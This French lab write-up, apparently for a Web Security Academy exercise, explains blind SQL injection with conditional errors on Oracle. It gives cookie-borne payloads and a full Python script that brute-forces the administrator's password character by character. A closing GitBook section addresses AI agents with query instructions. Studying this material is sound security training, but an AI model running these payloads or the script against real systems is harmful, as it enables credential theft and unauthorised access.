> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-conditional-errors.md).

# Injection SQL aveugle avec erreurs conditionnelles

### Injection SQL aveugle avec erreurs conditionnelles

**Contexte :** la valeur de `TrackingId` le cookie est injecté dans une requête SQL. L’application ne renvoie pas le résultat directement, mais déclenche une \*\*erreur HTTP 500\*\* lorsque l’expression SQL provoque une exception (ici `TO_CHAR(1/0)` sur Oracle). Nous utilisons cette chaîne : si la condition est vraie → erreur 500, sinon réponse 200. La base contient une `users(username, password)` table. Objectif : extraire le mot de passe de `administrateur` et se connecter.

#### Principe technique (rapide)

* Le cookie contient une expression qui force une erreur si la condition est vraie, par ex. (Oracle) :

{% code overflow="wrap" %}

```sql
' || (SELECT CASE WHEN <condition> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
```

{% endcode %}

* Si `<condition>` est vraie → la requête provoque une division par zéro → l’application renvoie `500` → bit = 1. Sinon `200` → bit = 0.
* Utilisez `SUBSTR`/`LENGTH` pour extraire caractère par caractère.

#### Exemples de charges utiles (Oracle)

* Vérifier l’existence de l’utilisateur :

  ```sql
  ' || (SELECT CASE WHEN (SELECT 'a' FROM users WHERE username='administrator') = 'a' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Tester une longueur = 20 :

  ```sql
  ' || (SELECT CASE WHEN (SELECT LENGTH(password) FROM users WHERE username='administrator') = 20 THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```
* Tester un caractère à la position i :

  ```sql
  ' || (SELECT CASE WHEN (SELECT SUBSTR(password, i, 1) FROM users WHERE username='administrator') = 'X' THEN TO_CHAR(1/0) ELSE '' END FROM dual) || '
  ```

(`FROM dual` / la structure peut être adaptée selon la requête injectée dans l’application.)

### Script automatisé

```python
#!/usr/bin/env python3

import requests
import signal
import sys
import time
from string import ascii_letters, digits

# Gestion propre de Ctrl+C
def def_handler(sig, frame):
    print("/nInterrompu. Fermeture./n")
    sys.exit(1)
signal.signal(signal.SIGINT, def_handler)

# --- Configuration ---
MAIN_URL = "https://0a8a00f80354f1b1803108ce00e700b6.web-security-academy.net/"
TRACKING_BASE = "HNDtc0c9ybTvqk9m"   # partie légitime du TrackingId
SESSION_VALUE = "ZXuQT8xMsrBLG8KFDqvrccJDGFe8Z6Ra"
TIMEOUT = 6
SLEEP_BETWEEN = 0.15
MAX_PW_LEN = 50           # longueur maximale à tester
ALPHABET = ascii_letters + digits + "!@#$%_-{}[]()"  # à ajuster si vous connaissez l’alphabet

HEADERS = {"User-Agent": "Mozilla/5.0"}

# --- Fonctions utilitaires ---
def send_payload(payload):
    cookies = {"TrackingId": payload, "Session": SESSION_VALUE}
    try:
        r = requests.get(MAIN_URL, cookies=cookies, headers=HEADERS,
                         timeout=TIMEOUT, allow_redirects=False, verify=True)
        return r.status_code
    except requests.exceptions.RequestException as e:
        print(f"[!] requête échouée : {e}")
        return None

def make_error_payload(condition_sql):
    """
    Construit le TrackingId complet pour Oracle :
    ex: TRACKING_BASE' || (SELECT CASE WHEN <cond> THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') || '
    """
    # Enveloppe la condition dans la sous-requête qui renvoie une ligne pour l’admin.
    payload = (f"{TRACKING_BASE}'|| (SELECT CASE WHEN ({condition_sql}) "
               f"THEN TO_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator') ||'")
    return payload

# --- Étape 1 : détecter la longueur du mot de passe (facultatif mais utile) ---
def detect_length(max_len=MAX_PW_LEN):
    print("[*] Détection de la longueur du mot de passe...")
    for n in range(1, max_len + 1):
        cond = f"(SELECT LENGTH(password) FROM users WHERE username='administrator') = {n}"
        payload = make_error_payload(cond)
        code = send_payload(payload)
        if code == 500:
            print(f"[+] Longueur détectée : {n}")
            return n
        time.sleep(SLEEP_BETWEEN)
    print("[!] Aucune longueur détectée <= max_len ; envisagez d’augmenter max_len")
    return None

# --- Étape 2 : extraction caractère par caractère ---
def extract_password(length=None):
    if length is None:
        length = detect_length()
        if length is None:
            # solution de repli : essayer les positions jusqu’à l’échec
            length = MAX_PW_LEN

    password = ""
    print(f"[*] Extraction (longueur supposée = {length})")
    for pos in range(1, length + 1):
        found = False
        for ch in ALPHABET:
            # SUBSTR(password, pos, 1) = 'ch'
            cond = f"(SELECT SUBSTR(password, {pos}, 1) FROM users WHERE username='administrator') = '{ch}'"
            payload = make_error_payload(cond)
            code = send_payload(payload)
            if code == 500:
                password += ch
                print(f"[+] pos={pos} -> '{ch}' (mot de passe jusqu’ici : {password})")
                found = True
                time.sleep(SLEEP_BETWEEN)
                break
            # courte pause entre les tentatives
            time.sleep(0.01)
        if not found:
            print(f"[-] Aucun caractère trouvé à la position {pos} -> fin probable. Mot de passe : {password}")
            break
    return password

if __name__ == "__main__":
    # détecter la longueur puis extraire
    detected_len = detect_length(max_len=30)   # ajustez max_len selon l’environnement
    recovered = extract_password(length=detected_len)
    print(f"/n[=] Mot de passe récupéré (partiel/estimé) : {recovered}/n")
```

<figure><img src="/files/d025b44d8bb653644c46ddfbbae54383dad06932" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/sql-injection/blind-sql-injection-with-conditional-errors.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
